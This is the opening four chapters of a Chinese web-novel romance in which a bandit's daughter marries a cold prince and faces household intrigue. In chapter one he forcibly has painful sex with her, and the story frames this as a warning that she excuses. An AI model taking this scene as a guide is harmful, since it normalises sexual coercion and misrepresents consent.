《高嫁之后》 1、第一章 《高嫁之后》草灯大人 文学城首发 第一章 今天是沈青棠大婚的日子。 她身穿华贵的赤红大袖衫，肩披云纹翟鸟的满绣霞帔，一张桃腮杏脸掩在垂珠盖头里，局促不安地坐在床边，等待赵小王爷魏珩登门迎亲。 帮忙梳妆的全福人瞧瞧屋里头的新嫁娘，又瞧瞧屋外毫无动静的院墙，心急如焚。 这都快过迎亲吉时了，即便赵小王爷再看不上沈青棠，也不该如此奚落人吧？ 好在巳时三刻，院外响起了敲锣打鼓的响动，赵王府用于接亲的仪仗队总算掐着点儿赶来了。 “快些准备好锦毯、花绸，再将那个熄了焰的跨吉炭盆端来。王爷王妃迈火盆，平平安安过一生……” 喜娘笑说的几句吉祥话，在看到眼前那一尊凶神恶煞的杀神后，顿时滞留喉头，消散无踪。 明明是大婚吉日，可赵小王爷魏珩并未穿戴迎亲专用的礼服冕冠。而是披了一身九章龙纹的衮龙袍，劲瘦窄腰系了一条镶金玉带。 他的手中长剑刚刚入鞘，一滴殷红鲜血，被合拢的剑鞘抿出，颤巍巍滴落一地，点在那双漆黑的皂靴之上。 膻腥味弥漫屋舍。 血粒子触目惊心。 屋外除却仪仗队，竟还挤着一帮厉兵秣马的黑甲军将…… 要不是喜娘见过魏珩，还当他是哪处前来劫亲的山匪呢！ 喜娘两眼一黑，忍不住同情地看了沈青棠一眼。 幸好新娘子很乖，老老实实端坐，没有掀开盖头朝外窥探。 魏珩屈起长指，掸了掸略带褶皱的婚服，他微掀那双深秀秾艳的冷目，睥了喜娘一眼：“哑巴了？” 男人的嗓音清冷胜雪，没有半点接亲的喜气，反倒有种浸入骨头缝里的凉意，冻得人直哆嗦。 沈青棠收拢五指，蜷抓了一下膝上衣布。 很快，她听到喜娘强颜欢笑挤出接下来的几句吉祥话：“花、花开富贵福气高，琴瑟和鸣同偕老……王爷，请吧。” 魏珩矜贵地嗯了一声。 随后，他将手递到盖头底下，示意沈青棠牵着。 沈青棠垂头便见几根琳琅如玉的长指，似是潦草洗了一下，男人的指缝里还沾着淡淡血气。 沈青棠不是高门闺秀，她是乡野出生的匪寨姑娘，这点血气吓不到她。 沈青棠没有给魏珩甩脸色，她从善如流地搭上他的手，任他牵着她走向院外等候许久的花轿。 迈过赵王府大门，颁下亲王妃的册宝，丫鬟秀珠搀着沈青棠回寝院婚房，等着魏珩宴客回房，行合卺礼。 沈青棠的父母双亡，家中只剩下她一人。 若非早年老王爷率军抗戎，沈父曾率寨中弟兄策应护城，救下魏父一命，这等封为亲王妃的好事，又怎会落到沈青棠的头上？ 沈青棠自十四岁开始，就知道她会是魏珩的妻子。 赵王离世，王世子魏珩承袭爵位，沈青棠等他服丧期满，完婚娶妻。 终于在沈青棠十八岁这年，她过府封妃，成了魏珩的妻子。 沈父说过：“赵王守疆定国，忠义无双。虎父无犬子，他的嫡长子魏珩，定也是个心系苍生的良善君子，我儿青青嫁给这样敦厚的郎君，为父便是死也能瞑目了。” …… 沈青棠回忆往昔，没等她想明白，房门口忽然传来一阵极有韵律的脚步声。 少顷，丫鬟婆子们扑通跪地，颤着嗓子唤了句：“见、见过王爷。” 得知魏珩来了，沈青棠竟也无端端感到紧张。 很快，那一帕鸾凤盖头被人揭下，就着黄澄澄的并蒂莲烛灯，沈青棠看清了魏珩的脸。 凤眸剑眉，高鼻薄唇。 他的五官俊朗，深如刀拓，下颌骨线条凛冽锋锐，冷硬如峰峦，的确是一副风神秀彻的艳绝皮囊，难怪有那么多人羡慕她运道好，竟能嫁到赵王府中。 魏珩比沈青棠大六岁，如今已是二十四岁的年轻人。 怪道长得这般高大，身姿峻拔秀挺，一倾过来，黑影如山，能将娇小的沈青棠整个儿覆没其中。 沈青棠悄悄打量自家夫君的同时，魏珩也寒着一双眼，漠然逡巡她。 女孩瞧着只有十七八岁，生得稚气青涩，偷看他的时候，目光躲闪，鬼鬼祟祟，不敢与他正视，极为小家子气。 但好在，沈青棠人虽窝囊，却没有歪鼻斜眼。 沈青棠一双杏眸懵懵的，不够聪慧灵光，泛起芙蕖池雾一般的涟涟潮气。那点鼻尖玲珑小巧，粘着睫羽垂下的漆黑长影，底下的红唇饱满，软如濯水莲瓣，供人采撷…… 平心而论，这位刚被他迎进家门的小妻子，虽是乡野出生，难登大雅之堂，但长相并不讨人嫌。 魏珩收回深邃沉寂的目光，斟了一杯酒，递给沈青棠。 “今夜你先睡下，时值隆冬，边境常有契丹扰边，我需赶回军所批文领兵。” 顿了顿，魏珩又道，“我平日鲜少回府，府内诸事，劳你费心。既已嫁入王府，便是魏家妇，日后自当谨守妇德，孝事高堂，不得辱没门庭名望……沈氏，你可明白？” 魏珩训妻的口吻实在公事公办，听不出半分缱绻旖旎。 沈青棠微微一怔，莫名觉出一点微乎其微的失落，她抿了下唇，老实回话：“我明白了。” 许是魏珩的态度极为冷淡，沈青棠也不敢嬉皮笑脸，她闷头饮完酒，又端过魏珩手中的那只酒盏，置于桌上。 边关战事再忙，倒也不至于匀不出一日婚期。 魏珩执意要走，无非是不想与沈青棠同宿一室。 魏珩瞥她一眼：“你唤什么名字？” 沈青棠原以为魏珩不愿再开口讲话了，没想到他竟还有闲谈的心思。 小姑娘脸上顿时浮起灿烂的笑容，她乖乖回话：“沈青棠……爹爹都唤我‘青青’。” 沈青棠太过愚钝，一点都听不出魏珩的轻慢之意。 若是魏珩看重她，又怎会不知自己妻子的名字？还要新婚夜里巴巴的问上一嘴？ 可见此前二人交换庚帖、筹备聘礼、拟定请柬，魏珩半点没上过心。 魏珩微阖冷目，“你也唤‘青青’？” 沈青棠张了张嘴，哑口无言。 为什么是“也”？ 沈青棠：“还有谁唤青青么？” 魏珩淡道：“不重要……我走了，你睡吧。” 魏珩作势要走，沈青棠却像是想到一桩紧要事，竟壮着胆子，扯住男人的喜袍袖口。 “王爷……”沈青棠怯怯唤他。 “有事？”魏珩墨眸一扫，眸中暗潮涌动，隐生不悦，他对于沈青棠的冒犯之举，已生出细微的不耐。 可沈青棠的性子执拗，她既遵从父命，嫁入王府，定想与魏珩好好做夫妻的。 他们行完婚礼，喝完合卺酒，还不算礼成，仍有一事未做。 虽说想起避火图纸那等春意盎然的画面，颇令人感到羞赧。 可听教习嬷嬷说，男子初次房事，至多也就一刻钟，耽误不了大事。 思及此，沈青棠垂下眼睫，结结巴巴地道：“王爷，还有房事未圆……嬷嬷说，慢的话一刻钟，快的话几息便够了，明日王太妃还要验元红帕，我一个人交代不了。” 魏珩没与女子欢好过，但他从戎多年，也听过几句荤话。 他知道，元红帕子，便是沾染处子血的白帕。 无非是往白布上抹点鲜血，有何难交代之处？ 魏珩微眯凤眸，冷声问：“沈青棠，不过是取血沾帕，糊弄婆母，你不会？” 沈青棠讶然：“我、我没骗过人，况且我怕疼，不想割开手指……” 说完，沈青棠的目光，竟还有意无意下移，凝于魏珩扶剑的指.尖，示意他杀身求仁，成全一下新娶的妻子。 一点心事都藏不住的怂货，魏珩竟有一天，能被一名柔弱女子气笑。 魏珩本想拔剑破肤，也好快些打发粘缠不休的沈青棠。 可转瞬间，他又记起沈青棠那句“男子初夜只需要几息就能成事”的讽刺之言，莫名的火气上涌，盘踞腹腔。 魏珩斟酌片刻，然后他掐住沈青棠的手腕，将她翻过去，屈膝向下，抵住了她那双意欲挣扎的腿弯。 沈青棠骤然被人压制下方，她骇得肝胆惧寒，扭头急急大喊：“王、王爷……” 可下一刻，魏珩那一绺冰冷如瀑的长发垂落，亵裤的裂帛声应势响起。 他故意在她耳畔，恶念深重地提醒：“沈青棠……几息可不够圆房。” 没有亲吻，没有安抚，亦没有甜言蜜语。 不过剜去桌上一只润体的药膏，随意碾揉，便横冲直撞。 …… 魏珩撤出的时候。 一点殷红，沿着沈青棠伶仃的足踝滴落。 是猩红的血丝。 沈青棠力竭地趴伏于被褥之上，下唇咬出一圈的印子，是她方才忍痛，不自觉下的嘴。 魏珩并未纾解渴念，他不过是熬过了这一刻钟，证明给沈青棠看，他并非那等庸俗无能之辈，切莫拿那些俗人与他相提并论。 随后，魏珩取来帕子，帮沈青棠打理斑驳的血迹。 男人整理好衣冠，又将元红帕掷于匣中，“可满意了？” 沈青棠脸色发白，迟缓地点了点头。 她听明白了。 魏珩不是那等温柔夫君，他不喜被人胁迫。 这次粗.暴的圆房，亦是一次警告——下次莫要故意挑衅夫君，免得自讨没趣，还得吃一番苦头。 房门再度阖上，魏珩舍下了新婚妻子，策马奔向关外军所。 屋内，沈青棠茫然地拉扯那一条破碎不堪、不足以遮蔽膝盖的裙裤，心道：爹爹说错了，她的夫君一点都不良善，他分明是阎罗恶鬼，与人也不大沾边……她好像嫁错了人。 2、第二章 第二章 永昌五年，十一月。 北道四州，位处于周国边境，气候严寒，雪峰终年积雪，一到冬天便风雪不止。 魏珩顶风冒雪，赶回靠近关隘的军所。 一进主帐，他就唤人备水，擦身换衣。 魏珩瞥了一眼遒劲腰腹沾染的潋滟水光，想到此前不算和睦的房事，嫣红的处子血，以及女子盈盈含泪的杏眸，他抬手拧了下眉峰。 不是意气用事的少年人了，何必同一个十七八岁的小姑娘较真。 送水的灶丁见到魏珩趁夜回营，心中十分惊讶。 今晚是小王爷的新婚夜，魏珩不该留宿王府吗？温香软玉在怀，王爷又怎舍得抛下新妇，回到军所议事批文？ 灶丁不免记起一些流言蜚语，说是王妃是乡野出身，性情粗鄙，丑若无盐，兴许是这个缘故，魏珩才不肯与她同宿一室吧？想也是，不过一个乡下妇人，能好看到哪里去？ 这般一想，灶丁不免对位高权重的魏珩生出一点同情……连正妻都不能娶自己喜欢的，当真是遭罪，也不知老王爷怎么想的，竟逼着嫡长子娶一个位卑言轻的农女为妻。 旁人都不能理解魏父的想法，可魏珩却知父亲的谋算。 魏父虽为先帝长子，母妃却是南地采莲女，生母的出身太低，为人诟病，魏父自然不能被先帝立为太子。 所谓立嫡立长，指的是册立皇后所出的年长嫡子为储君，倘若皇后无所出，才能立庶妃生下的庶子为太子。 因此，无论魏父多么才德兼备，多么受先帝器重，终是无缘皇位。 可帝王对待庶长子的这份偏疼，却成了皇后与太子的眼中钉肉中刺。 为了保全庶长子，魏父刚刚及冠成年，就被先帝赶去北道就藩，还将北地最为贫瘠的两州，作为封地，赏赐给庶长子。 为了防止亲王割据一方，魏父终生不得离开封地，回到南地朝廷。违令者，以谋逆论处，格杀勿论。 许是先帝对魏父心存亏欠，也为了助庶长子立威，他颁布了一道赐婚的圣旨，将北地大族姜氏嫡长女许配给魏父，助魏父在北道诸州站稳脚跟。 在檀州姜氏的襄助之下，魏父不但将北道二州治理得民安物阜，政通人和；更是率军御戎，收复了被契丹侵占多年的平、营两州失地。 如此功绩，本该受万民称颂，青史留名。可太子魏承之疑心病重，认为这位庶长兄包藏祸心，有谋逆之嫌，亦忌惮魏父权柄日重，有朝一日定会威胁南地皇权。 因此，在先帝殡天，魏承之登基即位后，他有意削藩夺权，竟明里暗里调遣监军使者，刺探北地军情，还下旨传召魏父回京谒陵，祭拜先帝，欲趁机将魏父软禁于京中。 可魏父称病不从，不愿南下归京。 自此，魏承之起了杀心，只能派出细作刺客，试图将魏珩父子刺杀于北地诸州…… 永昌帝魏承之三番两次痛下杀手，魏父也知其心肠狠毒，不再顾念那些兄弟旧情。 魏父心知，哪怕他再多退让，亦无法消除魏承之心中的猜忌，既如此，倒不如拼死一搏。 魏父殚思极虑，加之长年南征北战，身子骨亏空得厉害，才四十多岁便缠绵病榻，起不来身。 临终前，魏父唤魏珩来榻前，悉心嘱托儿子。 “为父知道，和沈家的这门亲事，实在委屈了你。可朝中一心削藩，不好再为你聘世家妇，以免招致永昌帝猜疑，于你的大业不利。珩儿，记住为父的话，小不忍则乱大谋，若你不喜沈家女儿，日后和离便是……沈家兄弟救过为父一命，而沈家女孩无辜，好歹夫妻一场，即便休弃，也莫要做得太狠。” 魏珩颔首：“儿子知道，虽说沈氏女只是一枚棋子，但她嫁为魏家妇，该有的体面，我会给她。日后即便和离，儿子也会金银补偿，善待此女。” 魏父欣慰叹气：“还有你三姨母，我知你不认她，但到底是你名义上的母亲，莫要苛待她。” 魏珩幼年丧母，如今的继母乃姜家庶出三女，是魏珩的三姨母。 姜家为了绑住赵王，这才提出庶妹填房，并喂下绝嗣药，不允庶女诞下子嗣，如此保全姜家嫡长女所出的王世子。 魏父对这个妻妹没有多少感情，二人甚至从未行过房事，不过是妻妹贪慕王府富贵，即便被家人灌下绝嗣汤药，亦一心想入主亲王府。 到底是亡妻的母家，魏父有意提携，便睁一只眼闭一只眼，允了这桩婚事。 魏珩日后有亲姨母照看，魏父也能放心许多。 魏珩应下父亲嘱托的所有事情，魏父终是安心，沉沉闭上了眼。 …… 军营之中，老将江阳峰听闻小王爷连夜赶回军所，心中大震。 江阳峰撩帘入内，“既是新婚夜，殿下怎么不宿在王府？” 魏珩系好腰带，神色淡漠：“军事要紧。” 江阳峰叹息一声：“末将也知，老王爷安排的这场婚事，委屈了殿下，可如今局势危急，不可冒进，只能请殿下暂且忍辱负重，以待时机……” “江叔放心，我自当以大局为重。” 魏珩明白，他再不满沈氏女，也得稍加忍耐。 左不过熬个一两年，待日后大业功成，他便休妻下堂，与沈青棠撇清得一干二净。 魏珩贵为天家皇嗣，龙子凤孙，又怎可能和一个出身卑微的乡野女子过一辈子。 - 赵王府，婚房。 沈青棠衣不附体的模样太过狼狈，她没有喊秀珠进来收拾。 沈青棠也是第一次穿这般华贵的礼服，若无喜娘帮忙，她怕是连盘扣都不知道怎么扣。 可这样一身她无比珍视的绸袍嫁衣，却被魏珩粗暴地撕扯成了褴褛布条。 沈青棠茫然褪下衣衫，浸入秋月山水纹屏风后头的浴桶中，清洗身子。 她揉开留在腰上、臀上的青红指痕，洗净那些魏珩留下的黏腻之物，随后爬出浴桶，穿好寝裙，擦干头发，钻进绵软蓬松的喜被之中。 沈青棠是个知足常乐的人。 虽说方才的房事实在不愉快，直到现在，腿侧还残留一丝细密的痛感，但好歹魏珩没有折腾到底，他见好就收，自己都没餍足，却知放过沈青棠。 沈青棠安慰自己……魏珩瞧着性恶，但也没有坏到底？看他此前寻了半天都没寻到位置，保不准也是个没经验的雏儿，夫妻俩都不大懂这件事，初次云雨不太契合，实属常事，她该体谅他的。 沈青棠挨蹭着滑溜的缎被，在燃着银炭的屋里酝酿睡意。 这时，她想到了一桩往事…… 其实，沈青棠不算盲婚哑嫁。 早在六年前，她就见过魏珩。 那时契丹联合诸部，集结兵马，兵临檀州关隘。 魏父被军中奸细背叛，军策泄露，惨遭突袭。 援军迟迟不至，眼见着契丹人破关入城，是沈父带领寨中弟兄，招募城中百姓，组建杂兵队伍，前线策应藩王。 彼时，魏珩听闻父亲遇袭，一心赶往关隘驰援。 可他运气不好，竟被不知哪里来的刺客用箭刺伤胸肋，跌下马去，倒在血泊中。 那时的沈青棠虽然仅有十二岁，可她自小弓马娴熟，常为哨兵，给匪寨里的叔叔伯伯们通风报信。 沈青棠知道爹爹外出抗戎去了，她一心记挂父亲，连夜逃出匪寨，骑着自己的小马，翻山越岭，奔向战场前线。 路过这片山坳时，沈青棠被强撑着一口气的王府亲卫，拦住去路。 “姑、姑娘……求你去城中报个信儿，就说王世子魏珩遇袭，速来驰援……” 沈青棠急着去城里找爹爹，不想揽下此事。 可看着遍体鳞伤的亲卫，又看了一眼一侧浑身沐血的清俊少年，她软下心肠，“好吧，我爹就在关外御敌，我会喊他来救你们。” “多谢。” 魏珩虽伤重，却还能忍疼说几句话，只他眼眸浸润污血，眼前一片猩红，瞧不清任何一样事物。 “敢问姑娘芳名？” 沈青棠受过亲爹敲打，不能将闺名随意告诉旁人。 她深谙知恩不图报的道理，含糊一阵，说了一句：“青青……家人都唤我青青。” 沈青棠见过魏珩的少年模样，她知他神清骨秀，清隽出尘……沈青棠同意这门婚事，除却王命不可违，她是山匪之女，不敢和那些王孙贵族对着干，还有一个原因是，魏珩长得很好看。 可今日她如愿嫁给魏珩，同住一室，才觉出不好。 这场云雨，魏珩将她弄得太疼，他中看不中用。 沈青棠想：他俩有了夫妻之实，木已成舟，再要反悔怕是不能够了。既如此，这日子再糟心，也只能睁一只眼闭一只眼，凑合凑合过了。 3、第三章 第三章 第二天，天刚蒙蒙亮，丫鬟秀珠就在外敲门，唤沈青棠起身。 沈青棠睡眼惺忪爬起来，还有点回不过神，待膝盖传来跪疼了的酸麻，她才记起昨夜发生的一切。 “王妃，奴婢可以进来吗？”秀珠知道沈青棠初来乍到，又是乡下姑娘，不懂王府规矩，便也没说那些绕得人头晕的大官话。 沈青棠清了清昨晚哭哑的嗓子，闷闷回答：“进来吧。” 秀珠是府上罗嬷嬷的孙女，也是内院的一等大丫鬟，专门被调来伺候新妇。 罗嬷嬷乃魏珩生母的陪房嬷嬷，从前伺候过宫里贵人，在姜家极为得脸，甚至掌过姜家诸院的教习之职。 就连如今的王太妃姜氏，曾经做姑娘的时候，也因坐姿不端正，被罗嬷嬷取戒尺打过掌心。 罗嬷嬷代表了魏珩生母的体面，还被先太妃榻前托孤，嘱咐她定要照顾好小主子。 也是如此，即便老太妃姜氏掌着赵王府的中馈，能左右下人的去留，也不敢碰这位嫡姐留下来看家护院的奶嬷嬷。 魏珩调来罗嬷嬷，请她帮忙看顾寒香院里的新妇沈青棠，便代表他对沈青棠心存袒护之意。 在秀珠看来，小王爷未必有旁人看起来的那般嫌弃新娶进门的乡下妻子。 秀珠唤来丫鬟们，冷着一张俏脸敲打：“都把眼睛放亮点，手脚麻利点！这屋里头的毯子、被褥全是上等的织物，损坏一样，都要你们赔上几辈子！” 秀珠有意给沈青棠做脸，故意点明了屋里头的家具陈设都贵重精细，也好让这些见风使舵的丫鬟明白——沈青棠可不是什么不受宠的小夫人，想欺负她，倒要看看自己有没有这个本事。 沈青棠不懂这些弯弯绕儿，但她知道秀珠是为了自己好。 初来乍到，人生地不熟，竟还能得到这份好意，沈青棠心里高兴，朝着秀珠弯眸一笑。 昨日大婚，小王妃披着绣花盖头入府，秀珠只看到她纤秀的下颌，窈窕的腰肢，饱满的胸脯，旁的一概没看清。 今日卸去铅华脂膏，秀珠才看清楚沈青棠那张巴掌大的雪腻小脸。黛眉玉肌，面似芙蓉，发丝睡得有点凌乱，蓬蓬的垂在颊侧，不添半分狼狈，反倒给人一种生动的鲜活劲儿。 这样好看的小姑娘，昨夜竟没能留下魏珩吗？ 秀珠不免在心里暗骂主子的不解风情，但一见桌上置着的元红帕子，知道二人行了夫妻之礼，又为沈青棠感到欢喜。 秀珠一面搀起沈青棠，一面同她解释：“王爷从来不喜婢子进屋随侍，行事难免粗犷，王妃昨夜没吃苦吧？” 想到昨晚男人一身蛮力，还将五指牢牢囚在自己腰上，沈青棠不免面无血色，她支支吾吾地问：“王爷当真没收过什么通房侍妾……他虚长我那么多岁，一点经验都没有？” 秀珠摇摇头。 顿了顿，秀珠又想着为魏珩辩白一句，解释：“这些年，王爷夙夜在公，没什么心思应付这些男女之事。” 难怪了。 沈青棠面如死灰，敢情拿她练手来了。 没等二人再多说几句，屋外便传来刘妈妈洪亮的嗓音。 “王妃起了吗？这都辰时了，哪家年轻媳妇头天进门，还让太妃在院中干候着，等她晨昏定省的？” 莫怪刘妈妈敢在院中对亲王妃吆五喝六，要知道北地四州，乃赵王的封地，不循什么京中的宗室礼法。 如今老王爷离世，魏珩又不在府中，唯王太妃姜氏独大。 姜氏有意要给沈青棠立规矩，自然不会对她有什么好脸色，甚至是默许底下奴仆用这等市井秽语，刻意奚落欺辱沈青棠。 不等沈青棠梳妆净面出门，屋外忽然响起一记刺耳嘹亮的巴掌声。 啪！ 一记重响。 撼得那些围观的丫鬟婆子纷纷倒吸一口凉气。 竟是刘妈妈挨了旁人一记掌掴！ 刘妈妈被打得嘴角渗血：“哎呦，哪个小贱蹄子，敢对妈妈我动手！” “扒开你的眼皮好好看清楚，隔壁祠堂供着先王、先太妃的牌位，我看是谁敢在寒香院大呼小叫！” 说这话的人便是罗嬷嬷。她料准刘妈妈会来奉命找茬，特意带着丫鬟，过来给沈青棠撑场子。 刘妈妈怎么都没想到，魏珩竟会把罗嬷嬷请出山，顿时哑口无言，不知该抖什么样的威风。 从前还是三等婆子的时候，刘妈妈就在罗嬷嬷手下伺候过，那时一口一个姑姑，巴巴的等人提携。 如今她跟着姜氏混，得了些脸面，也是阖府仆妇口中的老妈妈了。 可见着罗嬷嬷，她想起昔日这位姑姑的狠戾手段，还是一声不敢吭，支棱起的鸡毛全软塌塌地垂下去，不甘心地嘟囔一句：“竟、竟是罗嬷嬷啊，我先去同太妃娘娘禀报一句，就说王妃已经醒了。” 说完，刘妈妈如同斗败了的母鸡，捂着脸行色匆匆地跑了。 待刘妈妈走后，罗嬷嬷方才抬起一张笑脸，领着送甜汤的小丫鬟进到屋里。 “昨夜老奴没见着王妃叫膳，想必是饿了。待会儿还要去望山堂给老太妃敬茶，饿着肚子失了体统，总归不好，您喝碗红枣汤垫一垫再去也不迟。” 罗嬷嬷自然知道如今的王太妃姜氏是小妾生出的庶女，自小性子便带点小家子气，常为多一件衣衫少一支花钗，和姐妹们置气闹口角。 多年前，先太妃病故，庶妹姜氏顺势嫁到赵王府，给姐夫做填房。 旁人不知姜氏为何膝下无子，罗嬷嬷心里头门儿清，这是喂下了绝嗣汤药，成了不会下蛋的母鸡。 姜氏膝下无子，又一心想掌控魏珩，坐稳掌家主母之位，自然只能盼着儿媳与自己站在统一战线。 这也是姜家人的意思，想着把表妹姜若水许给魏珩，也好亲上加亲。 怎料老王爷极有主意，竟落了岳家的颜面，给儿子娶了一个乡下小妇……姜家不满，姜氏也事事不称意，自然有一肚子火要发。 不论沈青棠去早了还是迟了，一通排揎少不了，那还不如吃饱喝足再去挨骂。 沈青棠一大早醒来就看了几场好戏，任她再愚钝也知道，恐怕赵王府就是个龙潭虎穴，她要想有好日子过，恐怕就得打起十二分精神应对了。 沈青棠决定听罗嬷嬷的话，先把自己的肚子填饱了再说。 果然，等沈青棠跟着秀珠穿过几条雕花游廊，绕过一面琉璃影壁，迈进两个月洞门，来到望山堂的时候，王太妃姜氏的脸已经黑沉到足以凝出墨汁。 沈青棠垂眉敛目，乖乖屈膝，行礼纳福：“儿媳沈青棠，见过母亲。” 姜氏毕竟是续弦，岁数不算大，才三十七八岁。多年来姜氏精心保养脸蛋，眼角的皱纹不显多少。只她平日在奴仆面前摆主母威严，不大喜笑，瞧着便有点冷肃可怖。 “可算来了，我当你要睡到午时去，还想着要不要用完午膳再等，免得外人要说我这婆母不够善心肠，竟连新媳妇都不知体谅，非要逼着人来院子里给我敬一盏改口茶。” 姜氏不喜沈青棠，说话难免夹枪带棒。这是在嘲讽沈青棠嗜睡懒惰，连为人媳妇的本分都忘记了。 沈青棠不擅长应付这些宅门里的门道，她老老实实答了一句：“都是儿媳妇的错。” 随后，她端起青瓷茶盏，递向姜氏：“母亲请喝茶。” 姜氏以为，方才那句重话下去，定会闹得沈青棠羞耻难堪，盈盈落泪。哪知她脸皮厚若城墙，几句呲哒训斥也能干受着，全然不受影响。 姜氏气闷，又记起今早刘妈妈送来的元红帕子，不免气息一滞，目光落到沈青棠的身上。 姜氏知道那个嫡姐生下的长子魏珩有多么眼高于顶，多么难讨好。 从前她想和魏珩打好交道，曾三不五时亲自蒸糕给孩子送食，可魏珩非但没吃，还对她冷冷淡淡地道：“三姨母不必费心献殷勤，你既是我继母，亦是父亲新妻，我自当孝事双亲，予您体面。只血缘亲厚，不是几样点心便能抵去，想我待你如生母那般敬重，怕是痴人说梦，此生都不可能。” 不过五六岁的孩子，竟能一本正经说出这等诛心之语。 姜氏气得脸颊通红，话都说不出一句。 她知道魏珩早慧，不好笼络，再没有自讨苦吃，只盼着能将亲王妃的位置坐稳，执掌中馈，将偌大的王府掌控于手。 魏珩这样倨傲清冷的孩子，连个通房丫鬟都不收，竟会对一个乡下小丫头另眼相待，甚至与她圆房？ 姜氏感到不可思议。 姜氏上下打量沈青棠，自她剪水秋眸，凝向那玲珑楚腰……好乖乖，此女年纪不大，身段倒极为妖娆，腰肢细如柔韧荷茎，胸脯不算鼓囊，可满若莲苞，衣襟勒着，胸口束得紧绷绷的，瞧着就让姜氏频频皱眉。 沈青棠明明生得艳俗模样，却偏偏不掺半分庸俗，眉眼间蕴含一股山野清媚，怪道能把爷们儿勾得五迷三道。 姜氏是大户人家出来的贵女，将这等浮艳姿态，视为没规矩的做派。 姜氏想到姜氏大族养育出的侄女姜若水，为她感到不值。 姜若水与魏珩青梅竹马，郎才女貌，多好的一双璧人，偏偏让沈青棠横插一脚，拆散了有情人。 如今妻位已定，姜氏女不能为妾，侄女自然只能死心了。 姜氏想到家中父母的叮咛，盼着魏珩休妻另娶，也好与姜家亲上加亲，延续家族峥嵘。 思及此，她有意给沈青棠添堵，冷声道：“再过两月，便是先王忌辰，需抄录经文供奉灵前，以尽哀思。沈氏，你既是新进门的儿媳，就由你亲笔抄录几部经文，也算聊表一片孝心。” 姜氏有备而来，她使了个眼色，命刘妈妈送去一摞经文。 高高的一摞经卷，足有十多万字。 即便让那些抄经的僧人誊写，也得日夜不停抄写上个把月。 姜氏分明存了为难人的心思。 沈青棠诚实地道：“母亲，我虽识得一些字，可不善书法，笔迹粗陋，怕是敬不到孝心，还会惹父亲生气……” 这是实话。 沈父在世的时候，常说沈青棠一手墨字写得狗爬似的，难登大雅之堂，他也不通文墨，二人不愧是血脉相连的父女。 姜氏似是料到了沈青棠会这般应对，她不免勾唇，击掌召出两名雪肤花貌的丫鬟，对沈青棠道：“既如此，就让画月、香梅两个丫鬟上寒香院，指点你如何落笔行文，免得日后教外人耻笑，说堂堂赵王妃，连一纸经文都抄不好。” 沈青棠抬头看了一眼，画月和香梅都是十六七岁的姑娘，生得柔媚娇俏，身材饱满。一见便知，这是为府上男主子留的侍奉枕席的通房丫鬟，可不是什么书房里的扫洒丫鬟。 “是……”沈青棠觉出姜氏的恶意，轻声应下。 许是姜氏成功掰回一成，她总算没再为难这个乡下丫头。 姜氏稀得见沈青棠，摆摆手便让她退下了。 沈青棠刚想出门，又想到什么，折返回来，“母亲，儿媳还有一事。” 姜氏以为她心中生妒，要和自己大闹一场，不耐烦地问：“又有何事？” 沈青棠抿唇一笑：“母亲知道的，儿媳出生乡野，手上拮据……这两个丫鬟既是母亲安排的婢女，这月例用度，应是望山堂出吧？” 沈青棠知道，她如今贵为王妃，每月有二百两月例。 虽说养两个丫鬟绰绰有余，可沈青棠贪财，她还是不想花自己的银子养外人，既是姜氏塞的人，自该由她负责。 姜氏怎么也没想到，沈青棠竟眼皮底子浅到几钱银子的月例都舍不得，她顿时胸口窒闷，无言以对。 良久，姜氏望着沈青棠那战战兢兢、欲言又止、生怕婆母赖账的脸，咬牙切齿说出一句：“自然是望山堂出银子，不必你忧心！” 沈青棠松了一大口气，笑眯眯地点头：“如此甚好。” 看着儿媳妇那张灿烂的笑脸，姜氏皱紧眉头，竟有一瞬迷茫……等会儿，她都要派人去和沈青棠抢夫婿了，这丫头还这般老神在在，怕不是个傻子吧？！ - 沈青棠脚步松快地迈出院门。 秀珠回头瞥一眼，远远看到缀在后头的两个丫鬟，气不打一处来。 从来没听说过，新妇进门第一天，婆母就往儿子房中塞人的。 这都不是看不起沈青棠了，分明是把脚往儿媳妇脑门上踩。 这卑鄙做派，当真比市井恶婆婆还要下作！ 可赵王府没有妯娌，就姜氏一家独大，即便她磋磨自家媳妇，谁又能说个不是？谁又能有胆子，把这档没脸面的事传到王府外头？ 除非魏珩来给沈青棠撑腰出气！ 可秀珠想到昨晚新婚夜，魏珩也不过待了一个时辰，转头就骑马跑回军所，她又塌下肩膀，垂头丧气……不可能的，小王爷对沈青棠不上心，他又怎会来给媳妇撑腰？！ 为今之计，只能沈青棠自个儿支棱起来！ 秀珠看着搔首弄姿的画月、香梅，磨着牙齿，恨铁不成钢地道：“王妃，你怎么把人收下了？这两个可是经人调教过的通房丫鬟，心眼子多着呢，收到院中，您能得个好？” 秀珠为沈青棠打抱不平，只当她生于市井，不懂宅邸里的辛秘龌龊。 可沈青棠眼明心亮，心里跟明镜似的一清二楚。 她深知魏珩贵为亲王，当真要纳妾收人，她拦也拦不住。 况且，昨晚的房事实在艰涩难进…… 魏珩那般狰狞，当真要行完一场床事，她怕是得见血见肉，倒不如寻人分担。 沈青棠很看得开，她既成了赵王妃，那就先在府上混着，有吃有喝有银子赚，实在无本万利。 真要出府，沈青棠自小在匪寨长大，会些爬墙攀瓦的功夫，也没人能拦住她。 至于平时出入王府，会不会坏规矩……沈父说过，她是朝廷授予金印宝册的王妃，除非魏珩休妻，便是姜氏也不能奈她何，至多摆一摆老太妃的谱子。 沈青棠知道怎么应付长辈，她从前和匪寨里的老人们相处，没人不夸她乖巧懂事的。只要沈青棠明面上敬着姜氏，没人能挑出她的错处。 这般想着，沈青棠又觉得兵来将挡水来土屯，婆母塞人，那就先留着吧。 嫁都嫁了，再过过吧，要是日子实在过不下去，她再另想法子便是。 4、第四章 第四章 多年前，契丹皇帝耶律辛侵占平、营二州汉地，知汉人诛杀不尽，曾使用过一国两制的国策。治理汉民用汉律，治理胡人用蕃律，以此来掌控汉地。 为了更好地入.侵周国，耶律辛甚至提拔了不少汉人将领，从这些卖国贼的口中，得知了大周朝的风土地势、朝政国情。 在这些“汉贼”助阵之下，魏父收复失地一战变得愈发艰难，接连数次战败不说，还险些丧命于北虏之手。 好在魏父用兵如神，他深知耶律辛的奸猾狡诈，亦从一些深受契丹压迫的草原部族那里，得知驯养战马的秘诀。 魏父借助塞外险峻地势，培育军马，操练骑营，终是大败契丹，夺回了被胡人侵占许久的两州失地。 借此一战，魏父名声大噪，成了北道百姓心目中敬仰的战神菩萨。 魏父死后，魏珩继承家业，接手父亲留下的北道四州。 魏珩心知，他的年纪太轻，而军中旧部家臣众多，若想服众，手段便不能仁慈。 